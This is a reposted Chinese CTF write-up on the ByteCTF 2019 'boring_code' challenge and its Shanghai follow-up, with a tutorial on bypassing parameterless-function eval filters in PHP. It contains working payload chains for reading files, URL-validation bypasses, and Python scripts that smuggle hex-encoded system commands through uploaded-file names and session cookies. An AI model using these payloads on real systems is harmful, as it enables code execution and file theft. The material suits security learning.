bytectf2019 boring_code的知識學習&&無參數函數執行&&上海市大學生CTF_boring_code+


參賽感悟

第三次還是第二次參加這種CTF大賽了,感悟和學習也是蠻多的,越發感覺跟大佬的差距明顯,但是還是要努力啊,都大三了,也希望出點成績。比賽中一道WEB都沒做出來,唯一有點思路的只有EZCMS,通過哈希擴展攻擊,進入admin。但是對於Phar的反序列化讓我無所適從,找不到任何的利用點,干看着似乎有反序列化的利用點,卻一頭霧水。還是學習的太少,boring_code這道題的bypass方法也受益頗多。

boring_code

題目:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}
?>

第一層

如果不買域名(氪金)的話需要繞過filter_varparse_url。

當時看到一篇文章(一會搬運過來或者自己復現一下),如何繞過filter_var和parse_url,在file_get_contents的情況下,可以用data://偽協議來繞過,對於這樣的形式data://text/plain;base64,xxxxx,parse_url會將text作為host,並且PHP對MIME不敏感,改為這樣data://baidu.com/plain;base64,xxxxx就能繞過,並且file_get_contents能直接讀取到xxxx的內容。

第二層

preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
   

第一個正則,百度(?R)無果,PHP regex中顯示如下

(?R)? recurses the entire pattern  

意思為遞歸整個匹配模式。所以正則的含義就是匹配無參數的函數,內部可以無限嵌套相同的模式(無參數函數)

第二個正則,過濾了一些字符,限制你的代碼執行。現在需要做的就是讓其eval(code),讀取到當前文件夾下的某些東西。

 

給的注釋,flag在index.php同目錄下,www flag,而我們執行的環境是www/code/code.php

因此我們需要跨目錄到上級目錄

payload分析學習

payload:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));  

 

第一層:

首先我們需要跨目錄,如何獲取..呢?

scandir                 掃描目錄
localeconv            函數返回一包含本地數字及貨幣格式信息的數組
pos                     current的別名,輸出數組中的當前元素的值(第一個元素)
next                    將內部指針指向數組中的下一個元素  

localeconv數組的第一個元素就是.

然后用pos(current的別名)獲取. 

scandir('.')掃描當前目錄后回顯是'.','..',第二個元素是..

再通過chdir('..')跳轉到上級目錄

完成第一層

 

第二層:

localtime()                  返回本地時間,默認為數值數組
time()                        返回自 Unix 紀元(January 1 1970 00:00:00 GMT)起的當前時間的秒數
end()                         將數組的內部指針指向最后一個元素

因為chdir()返回的是bool值,成功返回1,我們還需要繼續讀取

這里用到time(),直接數值扔到time()中。接下來最核心的就是chr和localtime的配合獲得.的姿勢

 

 可以看到第一個參數可以默認time(),因此無影響。

pos獲取第一個參數秒數的值,然后用chr(秒數),因為.的10進制ascii碼為46,也就是當每分鍾的46秒時候我們可以獲得.

然后再次通過scandir('.')掃描當前目錄,end取最后一個flag文件,因為字母排序問題,f偏后。

最后通過echo readfile()輸出讀取到的當前目錄下的最后一個文件即flag

第二層成功。

結束。

本地復現

bytectf目錄下有code目錄和flag.php,code目錄下有code.php

<?php 
$code=@$_POST['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    @eval($code);
                }
                }
else
{
    echo 'NO first';
}

?>

准時的在46時候Send,直接獲得flag

 我們可以寫一個腳本,不停的發送POST,直到讀到flag

 

import requests
import time
localtime = time.asctime( time.localtime(time.time()) )
url='http://127.0.0.1/bytectf/code/code.php'
while 1:
    response=requests.post(url,data={'code':'echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));'}).text
    if 'flag' in response:
        print('flag:'+response+"\n",localtime)
        break

 

 WTF,我看着他46s的時候,跳的flag。怎么是44s

 

 WTF,是什么毛病。我看着46s跳的。不管了,就是46s的時候,chr(46)為.

更多的payload

對於第一層的繞過,很多是氪金的。現在看到有兩種方式。

  1. ftp協議/百度跳轉來bypass
  2. compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

神奇

無參數函數執行

原文出自飄零師傅:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

前言

最近做了一些php 無參數函數執行的題目,這里做一個總結,以便以后bypass各種正則過濾。
大致思路如下:
1.利用超全局變量進行bypass,進行RCE
2.進行任意文件讀取

什么是無參數函數RCE

傳統意義上,如果我們有

eval($_GET['code']);

即代表我們擁有了一句話木馬,可以進行getshell,例如

 

 但是如果有如下限制

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

我們會發現我們使用參數則無法通過正則的校驗

/[^\W]+\((?R)?\)/

而該正則,正是我們說的無參數函數的校驗,其只允許執行如下格式函數

a(b(c()));

a();

但不允許

a('123');

這樣一來,失去了參數,我們進行RCE的難度則會大幅上升。
而本篇文章旨在bypass這種限制,並做出一些更苛刻條件的Bypass。

法1:getenv()

查閱php手冊,有非常多的超全局變量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

我們可以使用$_ENV,對應函數為getenv()

 

 雖然getenv()可獲取當前環境變量,但我們怎么從一個偌大的數組中取出我們指定的值成了問題
這里可以使用方法:

 

 效果如下

 

 但是我不想要下標,我想要數組的值,那么我們可以使用

兩者結合使用即可有如下效果

我們則可用爆破的方式獲取數組中任意位置需要的值,那么即可使用getenv(),並獲取指定位置的惡意參數(這個我不知道如何利用,TCL)

法二:getallheaders()

之前我們獲取的是所有環境變量的列表,但其實我們並不需要這么多信息。僅僅http header即可
在apache2環境下,我們有函數getallheaders()可返回
我們可以看一下返回值

array(8) { 
    ["Host"]=> string(14) "106.14.114.127" 
    ["Connection"]=> string(10) "keep-alive" 
    ["Cache-Control"]=> string(9) "max-age=0" 
    ["Upgrade-Insecure-Requests"]=> string(1) "1" 
    ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" 
    ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
     ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" 
}

我們可以看到,成功返回了http header,我們可以在header中做一些自定義的手段,例如

 

 

此時我們再將結果中的惡意命令取出

var_dump(end(getallheaders()));

 

 這樣一來相當於我們將http header中的sky變成了我們的參數,可用其進行bypass 無參數函數執行
例如

 

那么可以進一步利用http header的sky屬性進行rce 

 

在國賽LOVE_MATH中,ROIS就是利用getallheaders來getflag的

法三:get_defined_vars()

使用getallheaders()其實具有局限性,因為他是apache的函數,如果目標中間件不為apache,那么這種方法就會失效,我們也沒有更加普遍的方式呢?
這里我們可以使用get_defined_vars(),首先看一下它的回顯

 

 


發現其可以回顯全局變量

$_GET
$_POST
$_FILES
$_COOKIE

我們這里的選擇也就具有多樣性,可以利用$_GET進行RCE,例如

 

 

還是和之前的思路一樣,將惡意參數取出

 

 


發現可以成功RCE
但一般網站喜歡對

$_GET
$_POST
$_COOKIE

做全局過濾,所以我們可以嘗試從$_FILES下手,這就需要我們自己寫一個上傳

 

 

可以發現空格會被替換成_,為防止干擾我們用hex編碼進行RCE

 

 


最終腳本如下

import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content

法四:session_id()

之前我們使用$_FILES下手,其實這里還能從$_COOKIE下手:
我們有函數

可以獲取PHPSESSID的值,而我們知道PHPSESSID允許字母和數字出現,那么我們就有了新的思路,即 hex2bin
腳本如下

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
    'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

即可達成RCE和bypass的目的

法五:dirname() & chdir()

 為什么一定要RCE呢?我們能不能直接讀文件?
之前的方法都基於可以進行RCE,如果目標真的不能RCE呢?我們能不能進行任意讀取?
那么想讀文件,就必須進行目錄遍歷,沒有參數,怎么進行目錄遍歷呢?
首先,我們可以利用getcwd()獲取當前目錄

?code=var_dump(getcwd());

string(13) "/var/www/html"

那么怎么進行當前目錄的目錄遍歷呢?
這里用scandir()即可

?code=var_dump(scandir(getcwd()));

array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那么既然不在這一層目錄,如何進行目錄上跳呢?
我們用dirname()即可

?code=var_dump(scandir(dirname(getcwd())));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

那么怎么更改我們的當前目錄呢?這里我們發現有函數可以更改當前目錄

chdir ( string $directory ) : bool

將 PHP 的當前目錄改為 directory。
所以我們這里在

dirname(getcwd())

進行如下設置即可

chdir(dirname(getcwd()))

我們嘗試讀取/var/www/123

http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可進行文件讀取

非常好的文章,膜飄零師傅 orz

boring_code+

為什么稱為boring_code+呢,其實就是boring_code的翻版,增加了幾個正則匹配的參數。

這是來自於上海大學生CTF的一道題目,題目當時沒有拉下來,所以直接拿之前的boring_code的代碼來看。

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }    

對比boring_code,額外過濾了readfile,if,time,local,sqrt等函數。

那上面我面我分析的payload就無法生效了。

這里直接發出我用的payload:

echo(serialize(file(end(scandir(chr(ord(strrev(crypt(serialize(array(date(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))))))); 

第一階段

通過Fuzz,發現了一個file() 函數

file() 函數把整個文件讀入一個數組中。

與 file_get_contents() 類似,不同的是 file() 將文件作為一個數組返回。數組中的每個單元都是文件中相應的一行,包括換行符在內。

如果失敗,則返回 false

 

 

既然是一個數組,我們可以用serialize序列化函數來轉成一個字符串

 

 

呢么讀取flag的無參數函數就有了echo(serialize(file()))

第二階段

最重要的是.的獲取,但是local和time都被ban了,該怎么獲得.呢。當時比賽的時候確實沒有fuzz出來,google搜到了一下大佬的騷姿勢,鏈接會放在文章下方。

crypt(serialize(array()));

利用crypt返回一個加密的字符串,加密的字符串末尾有幾率出現一個.

 

 

 

 

 

 

 

總共末尾會出現四種情況

chr(ord(strrev()))

再通過反轉字符,將.反轉到第一位,可以通過ord取到第一位,再通過chr轉化為.

 

 

 ord會取字符串中的第一位轉化為ascii碼

第三層

其實這里我做了不必要的date()函數吃掉bool放進array中。通過實踐發現

根本無需在crypt中加入serizlize(array()),直接crypt吃掉chdir即可,只需要crypt里面的是一個字符串,返回的bool值也是字符串

 

 

 

縮短后的payload:

echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));

 

 

本地測試完全可以獲取,請求需要多試很多次,有1/16的紀律會獲得,嘗試幾次就出來了。

獲得.的騷姿勢

截取自大佬總結的博客

Math函數

我更願意歸結於math函數而不是phpversion,即便你知道phpversion函數,通過復雜的運算,你還是需要fuzz

payload:

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

核心思路是 : phpversion() 函數會返回當前PHP的版本好 , 然后可以用 floor() 函數取第一位的數值( 固定為 7 )

floor() : 返回不大於 x 的下一個整數 , 簡單的說就是向下取整

有了數字 " 7 " , 就可以通過各種數學運算拿到數字46 , 也就是ASCII字符 " . " .

     sqrt() : 返回一個數字的平方根

     tan() : 返回一個數字的正切

     cosh() : 返回一個數字的雙曲余弦

     sinh() : 返回一個數字的雙曲正弦

     ceil() : 返回不小於一個數字的下一個整數 , 也就是向上取整

經過上面這些步驟 , 能拿到數字 46

 

再通過 chr() 函數就可以返回 ASCII 編碼為 46 的字符 , 也就為 " . " , 后面的步驟就和之前一樣 , 跳轉到根目錄 , 然后讀取 index.php 文件

localeconv() 函數

同boring_code

crypt()函數

首先定義一個數組 , 然后對其進行序列化操作 , 輸出序列化字符串 , 這里沒什么問題 . 然后就用到一個非常關鍵的函數 : crypt()

crypt($str , [$salt]) : 返回一個基於標准 UNIX DES 算法或系統上其他可用的替代算法的散列字符串 . 

說起來很復雜 , 你僅需要知道它可以返回一個加密字符串

 

多次嘗試后 , 發現 " . " 會出現在加密字符串的末尾( 加密字符串的開頭默認為 : " $ " ) , 然后我才想到 , scandir(getcwd()) 不能用 , 但可以用 scandir('.') 啊 , 真的太菜了!

再chr(ord(strrev()))轉化為.

最近又看到一個payload:

readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

hebrevc() 函數把希伯來文本從右至左的流轉換為左至右的流,其實也是crypt的特性,只是都是反轉而已.

 

以上獲取.的兩個騷姿勢截取自於下面的大佬博客對於此題的總結。

上海賽的第二題是6月安恆杯的一道web原題。

官方解是:url雙重編碼繞過,通過ssrf結合gopher完成SMTP污染從而包含日志進行RCE

大佬的解:不同的是將郵件正常發給www-data的話正好web可讀,通過包含www-data的郵件完成包含一句話進行RCE

大佬的解鏈接也放在下面

 

 

 

 

參考鏈接:

https://www.guildhab.top/?p=1077

https://blog.szfszf.top/tech/%E5%AE%89%E6%81%92%E6%9D%AF6%E6%9C%88%E8%B5%9B-easypentest/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM